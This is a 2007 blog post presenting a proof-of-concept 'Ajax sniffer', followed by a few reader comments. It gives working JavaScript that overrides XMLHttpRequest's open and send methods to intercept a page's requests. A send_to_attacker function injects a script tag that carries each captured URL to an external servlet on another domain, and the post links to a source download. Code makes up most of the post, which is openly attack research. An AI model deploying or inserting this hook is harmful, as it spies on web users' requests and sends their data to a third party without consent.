Wednesday, January 17, 2007

Ajax Sniffer - Prrof of concept

NOTE - The original idea was discussed by Stefano Di Paola in his paper Subverting Ajax. I have simply created a working proof of concept of ajax based sniffer.

I have taken the same files as I demonstrated in ajax worm PoC. You can see the demo at http://www.attacklabs.com

Let’s take a look at how to create an ajax based sniffer.

In order to create a sniffer we need to do two things
1. Override the open and send function of XMLHttpRequest using javascript inheritance
2. Send the data to a program on the other domain

Override the open and send function of XMLHttpRequest using javascript inheritance

What is inheritance?


In object-oriented programming, inheritance is a way to form new classes (subclasses) using classes that have already been defined (super classes). The new classes, also known as inherited classes, take over attributes and behavior of pre-existing classes, which are referred to as base classes (or super classes). It is intended to help reuse of existing code with little or no modification. Many object-oriented programming languages permit a class or object to replace the implementation of a behavior—that it has inherited. This process is usually called overriding. Another reason to use inheritance is to provide additional data or behavior features. This is often used when incorporating new features into the super class is either not possible or not appropriate.

Javascript Prototype feature and inheritance

Although JavaScript is a scripting language, it supports object-oriented programming. There may be no classes or instances but it has objects, prototypes and implicit inheritance. To find out more about inheritance in Javascript you can look at the links in the references section. The example below shows how to extend an object in javascript to add more function to it using prototype feature


//Define a class in javascript
function MainClass()
{
alert('this is the main class');
}

//Create an object
var newClass = new MainClass();

//Add a new function to the existing class ‘MainClass’
MainClass.prototype.newFunction = function()
{
alert('this is the new function');
}

//Call the new function
newClass.newFunction();


As you can see, using prototype we can add new functions to the existing class or override functionality of the existing function.

Overriding open function of XMLHttpRequest

/*Create a new function called myOpen. Call the sniffing function from it and then pass the control to the original open function of XMLHttpRequest object. */



var myOpen = function(method, url, async, user, password) {
send_to_attacker("url="+url);
this.originalOpen(method, url, async, user, password);
}

/*Store the reference to the original open function of XMLHttpRequest object. */


XMLHttpRequest.prototype.originalOpen = XMLHttpRequest.prototype.open;


/*Assign the newly created myOpen function to the original open function of XMLHttpRequest. Now whenever a call to open function is made, it will invoke myOpen function first and from within myOpen the original open function is invoked to let XMLHttpRequest perform its function. */



XMLHttpRequest.prototype.open = myOpen;


Overriding send function of XMLHttpRequest

/* Create a new function called mySend. This function overrides the original send function of XMLHttpRequest object and calls it towards the end. */



var mySend = function(a) {
var xhr = this;

/* This function would get called when the onload event is called. */


var onload = function() {
//alert(xhr.responseText);
};

/* This function is called if there is an error when the onerror event is called. */


var onerror = function() {
alert(xhr.status);
};

/* Add the load and error events to this function. */


xhr.addEventListener("load", onload, false);
xhr.addEventListener("error", onerror, false);

/* Call the original send function. */

xhr.originalSend(a);
}

/* Store the original function in another variable and call it from within the overriding function. */


XMLHttpRequest.prototype.originalSend = XMLHttpRequest.prototype.send;

/* Assign the newly created mySend function to the original open function of XMLHttpRequest. Now whenever a call to send function is made, it will invoke mySend function first and from within mySend the original send function is invoked to let XMLHttpRequest object perform its function. */



XMLHttpRequest.prototype.send = mySend;


/* Adding a new function to the XMLHttpRequest object. It can be called using ajax_request.newMethod(); */



XMLHttpRequest.prototype.newMethod = function() {
alert("New function added to XMLHttpRequest");
}


Send the data to a program on the other domain

This function sends the data to a servlet on an external domain. To read the proof of concept of how to bypass same origin barrier of javascript read here and view the demo at http://www.attacklabs.com


function send_to_attacker(param_url)
{
var attack_script = "http://www.myappsecurity.com:8084/Mail_List/sniffer?" + param_url;

var script = document.createElement('script');
script.src = attack_script;
script.type = 'text/javascript';
document.body.appendChild(script);

//Remove the script element after it has been executed as it is no longer required.
document.body.removeChild(script);
}


You can see the demo at http://www.attacklabs.com

You can download the source code at http://www.attacklabs.com/download/sniffer.rar

4 comments:

Anonymous said...

Thanks for the nice post!

Unknown said...

Nice work.
this is not working in IE because the XMLHTTPRequest in not a native object but an acitveX object (prototype overriding is impossible).
js error:
'XMLHttpRequest.prototype' is null or not an object

Reem Dayan said...

What is the purpose for the
document.body.appendChild(script);
in the end?

Reem Dayan said...

what is the purpose of the script appending in the end?